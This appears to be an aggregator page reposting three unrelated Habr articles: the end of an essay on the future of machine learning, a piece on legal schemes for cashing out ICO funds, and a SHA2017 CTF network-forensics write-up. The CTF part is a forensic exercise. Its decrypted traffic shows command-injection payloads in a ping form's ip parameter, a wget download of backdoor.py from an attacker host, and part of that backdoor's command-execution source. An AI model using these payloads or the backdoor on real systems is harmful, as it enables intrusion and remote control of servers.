Родственная область ИИ, которая, по моему мнению, скоро может сильно продвинуться, это программный синтез, в частности, нейронный программный синтез. Программный синтез состоит в автоматической генерации простых программ, используя поисковый алгоритм (возможно, генетический поиск, как в генетическом программировании) для изучения большого пространства возможных программ. Поиск останавливается, когда найдена программа, соответствующая требуемым спецификациям, часто предоставляемым как набор пар вход-выход. Как видите, это сильно напоминает машинное обучение: «данные обучения» предоставляются как пары вход-выход, мы находим «программу», которая соответствует трансформации входных в выходные данные и способна к обобщениям для новых входных данных. Разница в том, что вместо значений параметров обучения в жёстко закодированной программе (нейронной сети) мы генерируем исходный код путём дискретного поискового процесса.

Я определённо ожидаю, что к этой области снова проснётся большой интерес в следующие несколько лет. В частности, я ожидаю взаимное проникновение смежных областей глубинного обучения и программного синтеза, где мы будем не просто генерировать программы на языках общего назначения, а где мы будем генерировать нейросети (потоки обработки геометрических данных), дополненные богатым набором алгоритмических примитивов, таких как циклы for — и многие другие. Это должно быть гораздо более удобно и полезно, чем прямая генерация исходного кода, и драматически расширит границы для тех проблем, которые можно решать с помощью машинного обучения — пространство программ, которые мы можем генерировать автомтически, получая соответствующие данные для обучения. Смесь символического ИИ и геометрического ИИ. Современные RNN можно рассматривать как исторического предка таких гибридных алгоритмо-геометрических моделей.


Рисунок: Обученная программа одновременно полагается на геометрические примитивы (распознавание шаблонов, интуиция) и алгоритмические примитивы (аргументация, поиск, память).

За пределами обратного распространения и дифференцируемых слоёв


Если модели машинного обучения станут больше похожи на программы, тогда они больше почти не будут дифференцируемы — определённо, эти программы по-прежнему будут использовать непрерывные геометрические слои как подпрограммы, которые останутся дифференцируемыми, но вся модель в целом не будет такой. В результате, использование обратного распространения для настройки значений весов в фиксированной, жёстко закодированной сети не может оставаться в будущем предпочтительным методом для обучения моделей — по крайней мере, нельзя ограничиваться только этим методом. Нам нужно выяснить, как наиболее эффективно обучать недифференцируемые системы. Нынешние подходы включают генетические алгоритмы, «эволюционные стратегии», определённые методы обучения с подкреплением, ADMM (метод переменных направлений множителей Лагранжа). Естественно, градиентный спуск больше никуда не денется — информация о градиенте всегда будет полезна для оптимизации дифференцируемых параметрических функций. Но наши модели определённо будут становится всё более амбициозными, чем просто дифференцируемые параметрические функции, и поэтому их автоматизированная разработка («обучение» в «машинном обучении») потребует большего, чем обратное распространение.

Кроме того, обратное распространение имеет рамки end-to-end, что подходит для обучения хороших сцепленных преобразований, но довольно неэффективно с вычислительной точки зрения, потому что не использует полностью модульность глубинных сетей. Чтобы повысить эффективность чего бы то ни было, есть один универсальный рецепт: ввести модульность и иерархию. Так что мы можем сделать само обратное распространение более эффективным, введя расцепленные модули обучения с определённым механизмом синхронизации между ними, организованном в иерархическом порядке. Эта стратегия частично отражена в недавней работе DeepMind по «синтетическим градиентам». Я ожидаю намного, намного больше работ в этом направлении в ближайшем будущем.

Можно представить будущее, где глобально недифференцируемые модели (но с наличием дифференцируемых частей) будут обучаться — расти — с использованием эффективного поискового процесса, который не будет применять градиенты, в то время как дифференцируемые части будут обучаться даже быстрее, используя градиенты с использованием некоей более эффективной версии обратного распространения

Автоматизированное машинное обучение


В будущем архитектуры модели будут создаваться обучением, а не писаться вручную инженерами. Полученные обучением модели автоматически работают вместе с более богатым набором примитивов и программоподобных моделей машинного обучения.

Сейчас б'oльшую часть времени разработчик систем глубинного обучения бесконечно модифицирует данные скриптами Python, затем долго настраивает архитектуру и гиперпараметры сети глубинного обучения, чтобы получить работающую модель — или даже чтобы получить выдающуюся модель, если разработчик настолько амбициозен. Нечего и говорить, что это не самое лучшее положение вещей. Но ИИ и здесь может помочь. К сожалению, часть по обработке и подготовке данных трудно автоматизировать, поскольку она часто требует знания области, а также чёткого понимания на высоком уровне, чего разработчик хочет достичь. Однако настройка гиперпараметров — это простая поисковая процедура, и в данном случае мы уже знаем, чего хочет достичь разработчик: это определяется функцией потерь нейросети, которую нужно настроить. Сейчас уже стало обычной практикой устанавливать базовые системы AutoML, которые берут на себя большую часть подкрутки настроек модели. Я и сам установил такую, чтобы выиграть соревнования Kaggle.

На самом базовом уровне такая система будет просто настраивать количество слоёв в стеке, их порядок и количество элементов или фильтров в каждом слое. Это обычно делается с помощью библиотек вроде Hyperopt, которые мы обсуждали в главе 7 (примечание: книги «Глубинное обучение с Python»). Но можно пойти намного дальше и попробовать получить обучением соответствующую архитектуру с нуля, с минимальным набором ограничений. Это возможно с помощью обучения с подкреплением, например, или с помощью генетических алгоритмов.

Другим важным направлением развития AutoML является получение обучением архитектуры модели одновременно с весами модели. Обучая модель с нуля каждый раз мы пробуем немного разные архитектуры, что чрезвычайно неэффективно, поэтому действительно мощная система AutoML будет управлять развитием архитектур, в то время как свойства модели настраиваются через обратное распространение на данных для обучения, таким образом устраняя всю чрезмерность вычислений. Когда я пишу эти строки, подобные подходы уже начали применять.

Когда всё это начнёт происходить, разработчики систем машинного обучения не останутся без работы — они перейдут на более высокий уровень в цепочке создания ценностей. Они начнут прикладывать гораздо больше усилий к созданию сложных функций потерь, которые по-настоящему отражают деловые задачи, и будут глубоко разбираться в том, как их модели влияют на цифровые экосистемы, в которых они работают (например, клиенты, которые пользуются предсказаниями модели и генерируют данные для её обучения) — проблемы, которые сейчас могут позволить себе рассматривать только крупнейшие компании.

Пожизненное обучение и повторное использование модульных подпрограмм


Если модели становятся более сложными и построены на более богатых алгоритмических примитивах, тогда эта повышенная сложность потребует более интенсивного повторного их использования между задачами, а не обучения модели с нуля каждый раз, когда у нас появляется новая задача или новый набор данных. В конце концов, многие наборы данных не содержат достаточно информации для разработки с нуля новой сложной модели и станет просто необходимо использовать информацию от предыдущих наборов данных. Вы же не изучаете заново английский язык каждый раз, когда открываете новую книгу — это было бы невозможно. К тому же, обучение моделей с нуля на каждой новой задаче очень неэффективно из-за значительного совпадения между текущими задачами и теми, которые встречались раньше.

Вдобавок, в последние годы неоднократно звучало замечательное наблюдение, что обучение одной и той же модели делать несколько слабо связанных задач улучшает её результаты в каждой из этих задач. Например, обучение одной и той же нейросети переводить с английского на немецкий и с французского на итальянский приведёт к получению модели, которая будет лучше в каждой из этих языковых пар. Обучение модели классификации изображений одновременно с моделью сегментации изображений, с единой свёрточной базой, приведёт к получению модели, которая лучше в обеих задачах. И так далее. Это вполне интуитивно понятно: всегда есть какая-то информация, которая частично совпадает между этими двумя на первый взгляд разными задачами, и поэтому общая модель имеет доступ к большему количеству информации о каждой отдельной задаче, чем модель, которая обучалась только на этой конкретной задаче.

Что мы делаем на самом деле, когда повторно применяем модель на разных задачах, так это используем предобученные веса для моделей, которые выполняют общие функции, вроде извлечения визуальных признаков. Вы видели это на практике в главе 5. Я ожидаю, что в будущем будет повсеместно использоваться более общая версия этой техники: мы не только станем применять ранее усвоенные признаки (веса подмодели), но также архитектуры моделей и процедуры обучения. По мере того, как модели будут становиться более похожими на программы, мы начнём повторно использовать подпрограммы, как функции и классы в обычных языках программирования.

Подумайте, как выглядит сегодня процесс разработки программного обеспечения: как только инженер решает определённую проблему (HTTP-запросы в Python, например), он упаковывает её как абстрактную библиотеку для повторного использования. Инженеры, которым в будущем встретится похожая проблема, просто ищут существующие библиотеки, скачивают и используют их в своих собственных проектах. Таким же образом в будущем системы метаобучения смогут собирать новые программы, просеивая глобальную библиотеку высокоуровневых повторно используемых блоков. Если система начнёт разрабатывать похожие подпрограммы для нескольких разных задач, то выпустит «абстрактную» повторно используемую версию подпрограммы и сохранит её в глобальной библиотеке. Такой процесс откроет возможность для абстракции, необходимого компонента для достижения «предельного обобщения»: подпрограмма, которая окажется полезной для многих задач и областей, можно сказать, «абстрагирует» некий аспект принятия решений. Такое определение «абстракции» похоже не понятие абстракции в разработке программного обеспечения. Эти подпрограммы могут быть или геометрическими (модули глубинного обучения с предобученными представлениями), или алгоритмическими (ближе к библиотекам, с которыми работают современные программисты).



Рисунок: Метаобучаемая система, способная быстро разработать специфические для задачи модели с применением повторно используемых примитивов (алгоритмических и геометрических), за счёт этого достигая «предельного обобщения».

В итоге: долговременное видение


Вкратце, вот моё долговременное видение для машинного обучения:

  • Модели станут больше похожи на программы и получат возможности, которые простираются далеко за пределы непрерывных геометрических преобразований исходных данных, с чем мы работаем сейчас. Возможно, эти программы будут намного ближе к абстрактным ментальным моделям, которые люди поддерживают о своём окружении и о себе, и они будут способны на более сильное обобщение благодаря своей алгоритмической природе.
  • В частности, модели будут смешивать алгоритмические модули с формальными рассуждениями, поиском, способностями к абстракции — и геометрические модули с неформальной интуицией и распознаванием шаблонов. AlphaGo (система, потребовавшая интенсивного ручного программирования и разработки архитектуры) представляет собой ранний пример, как может выглядеть слияние символического и геометрического ИИ.
  • Они будут выращиваться автоматически (а не писаться вручную людьми-программистами), с использованием модульных частей из глобальной библиотеки повторно используемых подпрограмм — библиотеки, которая эволюционировала путём усвоения высокопроизводительных моделей из тысяч предыдущих задач и наборов данных. Как только метаобучаемая система определила общие шаблоны решения задач, они преобразуются в повторно используемые подпрограммы — во многом как функции и классы в современном программировании — и добавляются в глобальную библиотеку. Так достигается способность абстракции.
  • Глобальная библиотека и соответствующая система выращивания моделей будет способна достичь некоторой формы человекоподобного «предельного обобщения»: столкнувшись с новой задачей, новой ситуацией, система сможет собрать новую работающую модель для этой задачи, используя очень малое количество данных, благодаря: 1) богатым программоподобным примитивам, которые хорошо делают обобщения и 2) обширному опыту решения похожих задач. Таким же образом, как люди могут быстро изучить новую сложную видеоигру, потому что у них есть предыдущий опыт многих других игр и потому что модели на основе предыдущего опыта являются абстратктными и программоподобными, а не простым преобразованием стимула в действие.
  • По существу, эту непрерывно обучающуюся систему по выращиванию моделей можно интерпретировать как Сильный Искусственный Интеллект. Но не ждите наступления какого-то сингулярного робоапокалипсиса: он является чистой фантазией, которая родилась из большого списка глубоких недоразумений в понимании интеллекта и технологий. Впрочем, этой критике здесь не место.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/335026/


ICO: схемы легализации полученных средств

Понедельник, 07 Августа 2017 г. 07:32 + в цитатник


ICO, оно же — первичное размещение токенов, набирает просто бешеную популярность: рынок за полгода перевалил 1 000 000 000 долларов, рост запросов — можно посмотреть ниже… но при этом юрисдикций с понятным, я бы даже уточнил — внятным, регулированием не так много.

Но для начала — всё же показатели:



А теперь — уже схемы, которые вполне могут существовать сегодня.

№1. ICO = пожертвование

В этом году мне уже дважды удалось встретиться и пообщаться с интересным человеком из блокчейн-среды — Сергеем Сергиенко (Chronobank, CEO). К тому же — мы находимся в постоянной переписки telegram & facebook.

И, как я понял, его проект — Хронобанк подошёл к сущности token (хотя на деле там можно выделить несколько видов) именно как к пожертвованию.

Ст. 582 ГК РФ (аналогичные, к слову, можно найти и в ГК других стран) гласит: «пожертвованием признается дарение вещи или права в общеполезных целях. Пожертвования могут делаться гражданам… организациям».

Таким образом, пожертвование есть дарение. В целом, если принимать криптоактивы как имущественные права или некое имущество (на первой позиции стоит команда itsynergis, на второй — Минфин), то сам по себе подход верен.

Но нужно понимать, что дарение — опять же, можно сравнить подходы разных стран, — согласно ст. 572 ГК РФ — это договор, по которому: "… одна сторона (даритель) безвозмездно передает или обязуется передать другой стороне (одаряемому) вещь в собственность либо имущественное право (требование) к себе или к третьему лицу либо освобождает или обязуется освободить ее от имущественной обязанности перед собой или перед третьим лицом".

В случае же с токенами мы зачастую имеем:
  1. Фактическое распределение прибыли (доходов)
  2. Бонусы, скидки
  3. Биржевые спекуляции на токенах
  4. Возможный возвратный выкуп
  5. Иные встречные действия

Все пункты надо читать через дизъюнкцию. Кроме того — список, как видим, не закрыт.

Резонно, что у государственных органов сразу возникает вопрос: «а не притворная ли сделка тогда всё это?» Собственно, обратимся опять к первоисточнику — к ст. 170 ГК РФ: «Притворная сделка, то есть сделка, которая совершена с целью прикрыть другую сделку, в том числе сделку на иных условиях, ничтожна. К сделке, которую стороны действительно имели в виду, с учетом существа и содержания сделки применяются относящиеся к ней правила».

Поэтому пожертвования, на мой конечно взгляд, должны быть именно пожертвованиями и такие кампании вполне себе возможны, но об этом нужно а) прямо заявлять в Белой книге (а лучше — в специальном соглашении о распределении токенов) и б) понимать, что отношение инвесторов будет иным, нежели при возвратном статусе, назовём его так, токенов.

№2. НИОКР — страшная аббревиатура, дельная схема

Для начала — вновь норма: «По договору на выполнение научно-исследовательских работ исполнитель обязуется провести обусловленные техническим заданием заказчика научные исследования, а по договору на выполнение опытно-конструкторских и технологических работ — разработать образец нового изделия, конструкторскую документацию на него или новую технологию, а заказчик обязуется принять работу и оплатить ее». Это статья 769 ГК РФ.

Если мы обратимся к анализу блокчейн-проектов, то увидим, что необходимые параметры, скажем, инновационной технологии, присутствую: даже спорные Golem, SONM, тот же интересный, но невероятно сложный БанкВремени Сергея, молниеносно собравший миллионы Brave и сотни других проектов заточены как раз на том, что создают то, чего ещё нет, или то, что есть, но сделано без децентрализации.

Схема работает следующим образом: физическое лицо организует ICO. Не важно на какой платформе и как именно. Главное, что именно оно является получателем средств. Затем данное лицо заключает договор с разработчиками и другими исполнителями (дизайнерами, инженерами — кем угодно). При этом договор может быть смешанным согласно ст. 421 ГК РФ: на первый взгляд здесь «мена + возмездное оказание услуг», но, как указал Президиум Высшего Арбитражного Суда РФ в п. 1 «Обзора практики разрешения споров, связанных с договором мены», который в свою очередь был закреплён информационным письмом от 24 сентября 2002 г. N 69, цитирую: «двусторонние сделки, предусматривающие обмен товаров на эквивалентные по стоимости услуги, к договору мены не относятся». И, таким образом, суд приходит к выводу, что надо использовать связку «купля-продажа + возмездное оказание услуг». Правда, в случае с крипто мы не будем иметь рублей и вообще — валюты в понимании закона, но это уже другой вопрос, ответить на который готов в рамках отдельной статьи.

Суть же схемы сводится к тому, что затем физическое лицо — эмитент токенов — заключает договор НИОКР с юридическим лицом. И, дабы получение фиата было менее проблематичным, в соглашении таком прописываются сроки оплаты каждой стадии.

«Вкладчики» в такое ICO получают сразу несколько гарантий:
  1. Перевод средств за каждую следующую стадию, если выполнена предыдущая только
  2. Минимальные риски при выводе средств в фиат
  3. Понятную схему мониторинга процесса

Есть и риски, среди которых, безусловным лидером является доверие к конкретному физическому лицу. Для усиления можно использовать уже разработанные механизмы escrow, мульитподписей и т.д.

Юридическое же лицо, получая средства от конкретного физического лица, тоже имеет прозрачность для банка, контролирующих структур и контрагентов.

Концепутально это выглядит так. Нюансы — дьявол и на их разбор может уйти вечность, но, если не начать, то вместо вечности мы получим цикличность бессмысленных итераций, что само по себе звучит ненужный абсурд.

№3. Внесение в уставной капитал

Начало схемы — похоже на предыдущее, но главное же здесь — внесение в уставной капитал юридического лица полученных средств: то есть физическое лицо — назовём его «эмитент токенов» — получает за криптовалюты, EHT, BTC, Waves и т.д., фиатные деньги (они же — рубли).

Тут остаётся не закрытым вопрос, как обналичить средства в 1 000 000 долларов и больше, но оставим же место для дискуссии: тем более что пара ответов у меня уже готовы…

Далее нужно будет ещё составить один договор — уступки права требования. От физического лица — юридическому: в рамках данного соглашения должен произойти обратный выкуп токенов у «инвесторов» (вводить новые понятия пока не вижу смыслов, можно использовать и более длинное — получатели токенов).

Таким образом, схема выглядит, например, так: договор займа между физ. лицами (или иной, если процент доходности не установлен) — получение фиата из crypto — внесение в уставной капитал компании — заключение договора цессии физического лица и юридического лица на погашение первоначального договора займа (иного соглашения) между эмитентом и получателями токенов.

Думаю, что у коллег, которые в схеме разобрались, а также — наблюдательных читателей возникнут на этом месте вопросы и далеко за пределами двух-трёх. Но вынесем же их за скобки комментариев.

№4. Ещё несколько концепт-схем

Хабр — интересное место, но здесь пишу в первую очередь для того, чтобы а) популяризировать блокчейн, который сейчас просто разрывается от хайпа ICO и ненужной эмиссии криптоактивов, равно как и от пресловутых спекуляций; б) дать общий вектор развития blockchain-стартапам и в) найти решения за рамками запретительной политики российского государственного аппарата, которая насаждается с 2014 года в этой индустрии (да и не только).

Поэтому — под конец — ещё несколько вариантов на обсуждение:
  1. Если токены — это некое имущество или имущественные права даже можно попробовать всё это поставить на баланс: ваш бухгалтер будет этому несказанно рад, а налоговая, судя по последнему письму — в небольшом шоке, но факт есть факт — схему такую никто не отменял. Я, к слову, уже пробую с двумя очень продвинутыми бухгалтерами, ибо в учёте мало что смыслю, построить схему «дебит-кредит» под подобные вещи, но пока это просто анонс.
  2. Токены могут быть неким дисконтом на продукцию (у Колионово, Машкино есть такие), то можно вспомнить о программах лояльности и привязать всё именно к такой составляющей, как маркетинговый инструмент. Да, здесь нет закона специального, но, как показывает и главное — доказывает практика: он здесь и не нужен.
  3. Ряд моих коллег, в самом широком, конечно же, смысле этого слова, уже выявили токены-сертификаты,
    то есть «данный вид токена удостоверяет право владельца на материальный актив, которым обеспечен цифровой токен. В результате токен-сертификат является цифровым эквивалентом такого актива. Это облегчает оборот базового актива — токены легко сменяют владельца, без необходимости перемещения базового актива. Для реализации требования по токену — его можно отправить эмитенту в обмен на сам актив». И это — тоже рабочий вариант. Тем более, что,
    скажем, WebMoney по этой схеме умудряется работать аж с 1998 года.

Таким образом, даже в рамках этой части исследования можно предложить с десяток (особенно, если понять, что схемы можно комбинировать) рабочих моделей, которые не нуждаются в специальном регулировании, если мы под этим понимаем некий особый НПА за № таким-то и жёсткие указания в формате: «разрешено только то, что прямо установлено в законе».

Да, здесь есть над чем поработать относительно бух. учёта и налогов, стройности схемы с точки зрения юридической завершённости, можно отточить юридическую технику и заняться обучением специалистов, но при этом НЕ надо:
  1. Перекраивать и так молодой и хрупкий рынок
  2. Вновь менять действующие нормы, из-за нестабильности которых экономику просто штормит
  3. Придумывать какие-то неясные дефиниции, как это было с ФЗ №161, или как это есть в рамках других законов ныне
  4. А главное — не нужно в 1001й раз ссорить бизнес и власть

Надеюсь, мои воззвания не окажутся напрасными, как это было с ФЗ о мессенджерах, VPN и товарных агрегаторах, а также том самом, 161м — «О национальной платёжной системе».

И совсем в конце отвечу на три популярных вопроса:
  1. Не боюсь ли я делиться столь ценной, по мнению некоторых, информацией открыто?
    Нет, не боюсь, так как искренне считаю, что иной подход — это нарушение самой сути блокчейн-среды, которую я продвигая. Во-вторых, нет, потому как в прошлом году по блокчейн и ICO была 1-2, реже 3-5 заявок в неделю, а сегодня это 10-15 в за сутки. И даже команда из 20 человек на аутсорсе с таким потоком может не справиться. К тому же — уровень предлагаемых ныне услуг, исключая, безусловно, лишь корифеев рынка, очень низок и это — ещё один фактор скорейшего схлопывания пузыря ICO и криптоактивов вообще. Мне же и команде подобное не выгодно. Наконец, третье — всегда есть нюансы: и именно они отделяют профессионалов от всех иных и ими мы, я и команда, тоже готовы делиться, но уже на уровне b2b-взаимодействий, так как в ином ключе это не возможно в принципе.
  2. Почему в моих статьях всегда вопросов чуть ли не больше, чем ответов? Здесь есть два момента: во-первых, благодаря вопросам человек учится, постигает новое и тем самым — развивается; во-вторых, сфера больно молода и без открытых вопросов в ней просто невозможно построить дискуссию, а без последней — выстроить нормальный диалог, в том числе — с властью.
  3. Почему я защищаю ICO, если знаю, что это пузырь? Ответ прост — я не защищаю ICO: для меня важны отношения в стиле p2p, а ICO — лишь один из многих способов эти самые отношения развивать. Но и игнорировать проблемы первичного размещения токенов не могу, так понимаю,
    что иначе это всё закончится совсем и совсем плохо.

Надеюсь, моя позиция ясна. Благодарю за время, затраченное на прохождение строк и надеюсь на вопросы.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334974/


SHA2017 CTF: Нужно больше трафика

Понедельник, 07 Августа 2017 г. 01:04 + в цитатник


Всем доброго времени суток. Только что подошел к концу SHA2017 CTF и в этой статье, я бы хотел рассмотреть решение одного интересного таска Abuse Mail (300) из раздела Network.

Начнём. Было дано описание задания, и архив:
Our abuse desk received an mail that someone from our network has hacked their company. With their help we found some suspected traffic in our network logs, but we can't find what exactly has happened. Can you help us to catch the culprit?

Скачиваем и распаковываем архив, в котором нас ждут 3 *.pcap файла:


abuse01.pcap


В самом начале дампа идёт telnet трафик:


Промотав чуть ниже, замечаем очередную преграду, в виде множества ESP пакетов:


После непродолжительного поиска в google, находим статью о том, как расшифровать ESP трафик. Просмотрев содержимое telnet пакетов, убеждаемся, что это именно то что нам нужно:


Выполнив настройку Wireshark, на основе полученных данных, можем спокойно посмотреть расшифрованный трафик. Наибольший интерес, тут представляют HTTP пакеты, в самом конце дампа:


В которых можно найти скрипт на Python, дающий подсказку к анализу следующих дампов:
ESP Dump
GET / HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

0

GET /css/style.css HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.29.0.1/
Connection: keep-alive
If-Modified-Since: Wed, 26 Jul 2017 16:37:11 GMT
If-None-Match: "5978c537-2314"

HTTP/1.1 304 Not Modified
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:42:41 GMT
Last-Modified: Wed, 26 Jul 2017 16:37:11 GMT
Connection: keep-alive
ETag: "5978c537-2314"

GET /?ip=google.com HTTP/1.1
Host: 10.29.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.29.0.1/
Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 26 Jul 2017 16:42:48 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive





  
  
  
  
  



Ping service 0.1

Ping system

PING google.com (172.217.17.110) 56(84) bytes of data.
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=1 ttl=55 time=9.12 ms
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=2 ttl=55 time=8.86 ms
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=3 ttl=55 time=10.3 ms
64 bytes from ams15s29-in-f110.1e100.net (172.217.17.110): icmp_seq=4 ttl=55 time=8.06 ms

--- google.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 8.062/9.094/10.332/0.819 ms
© 2017, SHA2017 CTF
GET /?ip=google.com;ls HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:42:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive

Ping service 0.1

Ping system

PING google.com (172.217.17.110) 56(84) bytes of data.
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=1 ttl=55 time=8.66 ms
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=2 ttl=55 time=9.44 ms
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=3 ttl=55 time=10.0 ms
64 bytes from ams15s29-in-f14.1e100.net (172.217.17.110): icmp_seq=4 ttl=55 time=8.44 ms

--- google.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 8.445/9.153/10.057/0.639 ms
css
index.php
© 2017, SHA2017 CTF
GET /?ip=;ls%20-la HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:43:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive

Ping service 0.1

Ping system

total 16
drwxr-xr-x 3 root     root     4096 Jul 26 09:36 .
drwxr-xr-x 3 root     root     4096 Jul 26 03:45 ..
drwxr-x--- 2 www-data www-data 4096 Jul 26 09:37 css
-rwxr-xr-x 1 www-data www-data 1664 Jul 26 04:46 index.php
© 2017, SHA2017 CTF
GET /?ip=;id HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:43:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive

Ping service 0.1

Ping system

uid=33(www-data) gid=33(www-data) groups=33(www-data)
© 2017, SHA2017 CTF
GET /?ip=;sudo%20-l HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:43:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive

Ping service 0.1

Ping system

Matching Defaults entries for www-data on router:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on router:
    (ALL : ALL) NOPASSWD: ALL
© 2017, SHA2017 CTF
GET /css/style.css HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/css,*/*;q=0.1 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.29.0.1/?ip=;sudo%20-l Connection: keep-alive If-Modified-Since: Wed, 26 Jul 2017 16:37:11 GMT If-None-Match: "5978c537-2314" HTTP/1.1 304 Not Modified Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:43:16 GMT Last-Modified: Wed, 26 Jul 2017 16:37:11 GMT Connection: keep-alive ETag: "5978c537-2314" GET /?ip=%3Bwget%20http://10.5.5.207/backdoor.py%20-O%20/tmp/backdoor.py HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:43:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive

Ping service 0.1

Ping system

--2017-07-26 09:43:36--  http://10.5.5.207/backdoor.py
Connecting to 10.5.5.207:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2428 (2.4K) [text/x-python]
Saving to: '/tmp/backdoor.py'

     0K ..                                                    100%  458M=0s

2017-07-26 09:43:36 (458 MB/s) - '/tmp/backdoor.py' saved [2428/2428]

© 2017, SHA2017 CTF
GET /?ip=%3Bcat%20/tmp/backdoor.py HTTP/1.1 Host: 10.29.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Wed, 26 Jul 2017 16:43:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive

Ping service 0.1

Ping system

#!/usr/bin/env python

import base64
import sys
import time
import subprocess
import threading

from Crypto import Random
from Crypto.Cipher import AES
from scapy.all import *

BS = 16
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]
magic = "SHA2017"


class AESCipher:

    def __init__( self, key ):
        self.key = key

    def encrypt( self, raw ):
        raw = pad(raw)
        iv = Random.new().read( AES.block_size )
        cipher = AES.new( self.key, AES.MODE_CBC, iv )
        return base64.b64encode( iv + cipher.encrypt( raw ) )

    def decrypt( self, enc ):
        enc = base64.b64decode(enc)
        iv = enc[:16]
        cipher = AES.new(self.key, AES.MODE_CBC, iv )
        return unpad(cipher.decrypt( enc[16:] ))

def run_command(cmd):
    ps = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
    output = ps.communicate()[0]
